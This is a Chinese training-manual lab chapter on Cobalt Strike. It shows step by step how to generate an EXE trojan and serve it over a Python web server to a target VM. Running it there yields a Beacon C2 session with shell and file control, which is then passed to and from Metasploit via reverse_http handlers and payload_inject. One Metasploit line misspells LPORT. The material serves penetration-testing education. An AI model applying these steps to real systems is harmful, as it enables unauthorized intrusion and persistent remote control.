1.2 任务二:Cobalt Strike的使用
1.2.1 任务概述
Cobalt Strike是一个渗透测试框架工具,在内网渗透中作为C&C服务器使用。在本任务中,小白需要使用Cobalt Strike生成恶意木马文件,将恶意木马文件上传至目标靶机中运行,最终获取目标靶机服务器权限并建立C&C连接。
1.2.2 任务分析
Windows和Linux攻击机中都已集成了汉化版的Cobalt Strike,Cobalt Strike的使用分为两步:先启动Cobalt Strike的服务端,然后通过Cobalt Strike的客户端进行连接。Cobalt Strike的使用需要Java运行环境的依赖,需要提前安装在攻击机中。
Cobalt Strike提供了良好的UI界面,通过单击鼠标的方式即可生成恶意木马文件。然后,可以通过Python环境的SimpleHTTPServer模块开启一个Web服务以传输恶意文件,最终获取目标服务器的权限并建立C&C连接,对目标服务器进行持续性控制。
常见的C&C工具有MSF和Cobalt Strike。团队成员小白已经开发了一个实操环境,为了方便学员学习,主管要求小白根据该实操环境编写一个实验手册。
1.2.3 相关知识
1.Cobalt Strike
Cobalt Strike是一个以MSF为基础的GUI框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、EXE木马生成、DLL木马生成、Java木马生成、Office宏病毒生成、木马捆绑、钓鱼攻击(包括站点克隆、目标信息获取、浏览器自动攻击等)功能。
Cobalt Strike是C/S架构的应用,在使用过程中至少需要一个服务端和一个客户端,并且支持多个客户端同时连接一个服务端,以达到团队渗透的效果。在多个渗透测试人员连接到同一个服务器,并共享渗透测试资源和目标信息后,建立C&C连接后的受害主机Cobalt Strike也可以共享会话。
2.Beacon
Beacon是Cobalt Strike中的一类攻击载荷,通常配置监听器使用。Beacon和MSF中的meterperter功能相似,都是工具所支持的C&C远控的特殊会话。Beacon内置了很多操作命令,可以快速调用工具的一些功能,例如端口扫描、命令执行、搭建网络代理、跳板攻击等。另外Beacon存在一个特殊的“sleep”机制,即对于Beacon会话和Cobalt Strike服务器的通信周期时间sleep,在sleep时间较长的情况下,可以降低被管理人员察觉的可能性。
1.2.4 工作任务
打开Windows Server 2008靶机,在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,如图1-33所示。
图1-33 打开终端
使用命令切换到Cobalt Strike(后文简称为CS)根目录,并列出当前目录下文件,如图1-34所示。
cd /root/Desktop/Tools/A4\ C\&C\ Tools/K8_CS_4.4
ls
图1-34 切换到CS根目录并列出当前目录下文件
当前状态下的所有文件都没有可执行权限,需要使用chmod命令为文件添加可执行权限,然后执行ls命令列出文件,如图1-35所示。
chmod +x -R ./*
ls
图1-35 添加可执行权限并列出文件
运行CS首先要开启CS的服务端,对应的Linux可执行程序文件名为“teamserver”,使用以下命令可以启动CS的服务端,如图1-36所示。
./teamserver 攻击机IP地址 任意密码
图1-36 启动CS的服务端
需要注意的是,CS的服务端的默认连接端口为50050,但CS已经将该端口修改为4488,通过图1-36中的输出日志“Team server is up on 0.0.0.0:4488”也可以证明这一点。
在开启客户端后打开Windows攻击机,开启CS的客户端,如图1-37所示。
C:\Tools\A3 C&C Server\K8_CS_4.4\cobaltstrike.exe
图1-37 开启CS的客户端
在CS的客户端连接面板上填写连接信息,如图1-38所示,其中,“Host”字段为CS的服务端地址(Linux攻击机的IP地址)、“Port”字段为CS的服务端的开放端口4488、“User”字段为任意用户名、“Password”字段为CS的服务端连接密码123456。填写完成后,单击“Connect”选项连接至CS的服务端。
图1-38 填写连接信息
在第一次连接到某一CS的服务端时,会让客户端确认该服务端的指纹信息,避免连接到错误的服务器。在弹出的提示框中单击“Yes”按钮,如图1-39所示。
图1-39 单击“Yes”按钮
连接成功后单击主界面左上角的“Cobalt Strike”按钮,然后单击“Listeners”按钮打开监听器面板。在监听器面板中,单击左下角的“Add”按钮打开新增监听器(“New Listener”)面板,如图1-40所示。
图1-40 单击左下角的“Add”按钮打开新增监听器面板
在“New Listener”面板中,“Name”字段可以填充任意信息,该字段用于区分不同的监听器;“Payload”字段选择“Beacon HTTP”形式,该字段用于指定监听器所配套的攻击载荷;“HTTP Hosts”字段,单击该字段右边的加号按钮,填入服务器的IP地址,该字段用于指定开启监听器的主机地址:“HTTP Port(C2)”字段为任意端口号,要注意该端口不能被占用,最好使用一个非常规的大端口,该字段用于指定开启监听服务的端口号。在填写完字段后,单击下方的“Save”按钮创建该监听器,如图1-41所示。
图1-41 创建监听器
在创建完监听器后,在监听器面板上就可以查看该监听器。如果需要修改某一监听器的配置,如图1-42所示,那么可以在选中该监听器的状态下单击“Edit”按钮。
图1-42 修改某一监听器的配置
单击CS主页面上方的“Attacks”按钮,在弹出的选项中单击“Packages”-“Windows Executable”,创建EXE木马,如图1-43所示。
图1-43 创建EXE木马
在弹出的“Windows Executable”选项框中单击右侧“...”按钮,选择创建好的监听器,单击“Choose”按钮,然后勾选“Use x64 payload”,最后单击“Generate”按钮生成EXE木马文件,如图1-44所示。
图1-44 生成EXE木马文件
在弹出的Save窗口中单击“Save”按钮,如图1-45所示,将木马文件保存到Windows攻击机的Documents文件夹中。
图1-45 保存木马文件
在Windows攻击机中,单击开始按钮,然后用键盘输入“终端”,单击“最佳匹配”中的“终端”应用,如图1-46所示,打开一个命令提示符的终端。
图1-46 打开终端
在终端中输入cd命令切换至木马文件的目录中,然后输入dir命令确认木马文件“artifact. exe”是否存在,最后输入python3命令开启Web服务,如图1-47所示。
cd Documents
dir
python3 -m http.server 80
图1-47 开启Web服务
登录进入Windows Server 2008靶机,在桌面状态下,单击左下角“开始”按钮,然后单击“Internet Explorer”,打开IE浏览器,如图1-48所示。
图1-48 打开IE浏览器
在IE浏览器的地址栏中输入Windows攻击机的IP地址并访问,可以访问到攻击机基于Python开启的Web服务,然后找到生成的恶意文件“artifact.exe”,并单击下载该恶意文件,如图1-49所示。
图1-49 下载该恶意文件
因为Windows Server 2008操作系统自带安全策略,所以需要将攻击机开启的Web服务添加到信任名单中。在弹出的警告框中单击“添加”按钮,然后在可信站点中单击“添加”按钮,如图1-50所示。
图1-50 添加到信任名单中
然后重新单击恶意文件“artifact.exe”进行下载,在文件下载弹框中单击“保存”按钮,如图1-51所示,将恶意文件保存到“下载”目录中。
图1-51 保存恶意文件
在Windows Server 2008靶机中,双击打开恶意文件“artifact.exe”,如图1-52所示。
图1-52 打开恶意文件
成功运行恶意文件后返回Windows攻击机,查看CS面板,发现接收到受害主机的Beacon会话,如图1-53所示,证明建立了C&C连接。
图1-53 接收到受害主机的Beacon会话
选中受害主机的Beacon会话后,用鼠标右键单击“Session”-“Sleep”以修改休眠选项,如图1-54所示。
图1-54 修改休眠选项
在弹出的“Input”框中,将原来的数字60修改为数字0,单击“OK”按钮确认修改休眠时间,如图1-55所示。
图1-55 修改休眠时间
Beacon默认的交互周期为1分钟(也就是60秒),在极端状态下,修改Sleep设置这一操作也需要等待60秒后才会生效。
选中受害主机的Beacon会话,用鼠标右键单击“Interact”,进入受害主机交互界面,如图1-56所示。
图1-56 进入受害主机交互界面
在Beacon的交互界面下方的输入区,可以输入命令来进行远程控制,输入以下命令可以查看Beacon会话中可执行的命令,如图1-57所示。
?
图1-57 查看Beacon会话中可执行的命令
在Beacon的交互界面下方的输入区,输入以下命令查看当前用户权限,如图1-58所示。
getuid
图1-58 查看当前用户权限
如果想要执行受害主机上的终端命令,那么需要在输入终端命令前加入“shell”关键字,例如输入shell whoami命令等同于执行Windows终端中的whoami命令,如图1-59所示。
图1-59 在输入终端命令前加入“shell”关键字
在获取受害主机Beacon后,可以选中该Beacon,单击鼠标右键后选择“Explore”-“File Browser”,打开文件浏览器,如图1-60所示。
图1-60 打开文件浏览器
在文件浏览器中可以通过单击的方式查看受害主机的文件信息,如图1-61所示,并选择复制、下载、执行和删除文件。
图1-61 查看受害主机的文件信息
1.2.5 总结归纳
本次任务的目的是教会读者通过CS进行远程控制,相较于MSF,CS没有集成非常多的漏洞攻击模块,但CS有友好的UI界面和团队协作优势。CS的主要攻击方式是生成恶意代码,让受害主机执行该恶意代码后和CS建立C&C连接。
1.2.6 提高拓展
因为CS是基于MSF进行开发的,所以在一定情况下CS中的特殊会话Beacon和MSF中的特殊会话meterpreter是可以相互转换的。
参照本任务中使用CS获取受害主机Beacon的步骤和Windows Server 2008靶机建立C&C连接,在CS主界面状态下单击主界面左上角的“Cobalt Strike”按钮,然后单击“Listeners”按钮打开监听器面板。在监听器面板中,单击左下角的“Add”按钮新增监听器,如图 1-62所示。
图1-62 新增监听器
在“New Listener”面板中需要填写“Name”字段,填充任意字段即可,该字段用于区分不同的监听器;“Payload”字段选择“Foreign HTTP”形式,该字段用于指定监听器所配套的攻击载荷;“HTTP Host(Stager)”字段填入开启MSF的Linux攻击机的IP地址,该字段用于指定开启监听器的主机地址:“HTTP Port(Stager)”字段为端口号,要注意该端口号和MSF的监听端口号需要一致,MSF的默认监听端口号为4444。在字段填写完毕后,选择下方的“Save”按钮创建该监听器,如图1-63所示。
图1-63 创建该监听器
在Linux攻击机中打开终端并输入以下命令进入MSF,调用与msfevnom工具配套的监听模块,如图1-64所示。
msf6 > use exploit/multi/handler
图1-64 调用监听模块
在选取好模块后,需要设置攻击载荷、开启监听的主机IP地址和开启监听的端口号,攻击载荷为“windows/meterpreter/reverse_http”,“LHOST”中要填写Linux攻击机的IP地址,“LPROT”中的端口号要与CS中设置的参数一致。在参数设置完成后,可以输入run命令来运行监听模块,如图1-65所示。
msf6 > set payload windows/meterpreter/reverse_http
msf6 > set LHOST 攻击机IP
msf6 > set LPROT 4444
msf6 > run
图1-65 运行监听模块
返回Windows攻击机的CS窗口,在选中受害主机的Beacon后,用鼠标右键单击“Spawn”,如图1-66所示。
图1-66 单击“Spawn”
在“Choose a payload”弹窗中,选择“payload”为“windows/foreign/reverse_http”的监听器,然后单击“Choose”按钮选择监听器,如图1-67所示。
图1-67 选择监听器
返回Linux攻击机的MSF终端中,发现已经接收到meterpreter会话,如图1-68所示,证明Beacon已经成功转换为meterpreter。
图1-68 接收到meterpreter会话
在获取meterpreter后,可以使用以下命令先将该会话挂起,如图1-69所示。
background
图1-69 挂起会话
在挂起meterpreter会话后,MSF也会输出该session的id,在获取了session的id后调用注入模块,如图1-70所示,准备将meterpreter会话转换为Beacon。
msf6 > use exploit/windows/local/payload_inject
图1-70 调用注入模块
运行该模块之前需要设置攻击载荷类型、会话ID、监听主机名和监听端口,攻击载荷类型和CS监听器的攻击载荷类型一致。在本任务中,CS监听器的攻击载荷类型为“Beacon HTTP”,于是在MSF中该模块的攻击载荷就需要选择“windows/meterpreter/reverse_http”;会话ID为需要进行转换的meterperter的session id;监听主机名为CS监听器中所指定的“HTTP Hosts”,也就是CS服务端的IP地址;监听端口为CS监听器所指定的端口。运行注入模块如图1-71所示。
msf6 > set payload windows/meterpreter/reverse_http
msf6 > set session 1
msf6 > set LHOST CS服务端IP
msf6 > set LPORT CS监听器端口
msf6 > run
图1-71 运行注入模块
运行完成后返回Windows攻击机中的CS,发现已经接收到新Beacon,如图1-72所示,证明meterpreter成功转换为Beacon。
图1-72 接收到新Beacon
1.2.7 练习实训
一、选择题
△1.运行Cobalt Strike工具需要( )运行环境。
A.C
B.Python
C.Java
D.Ruby
△△2.在获取meterpreter的情况下,可以调用MSF中的( )模块将其发送至CS中。
A.exploit/multi/handler
B.exploit/windows/local/payload_inject
C.exploit/windows/local/wmi
D.exploit/windows/scada/realwin
二、简答题
△1.请举例Cobalt Strike可以生成的恶意代码种类。
△△2.请简述Cobalt Strike修改服务端的开放端口的具体操作。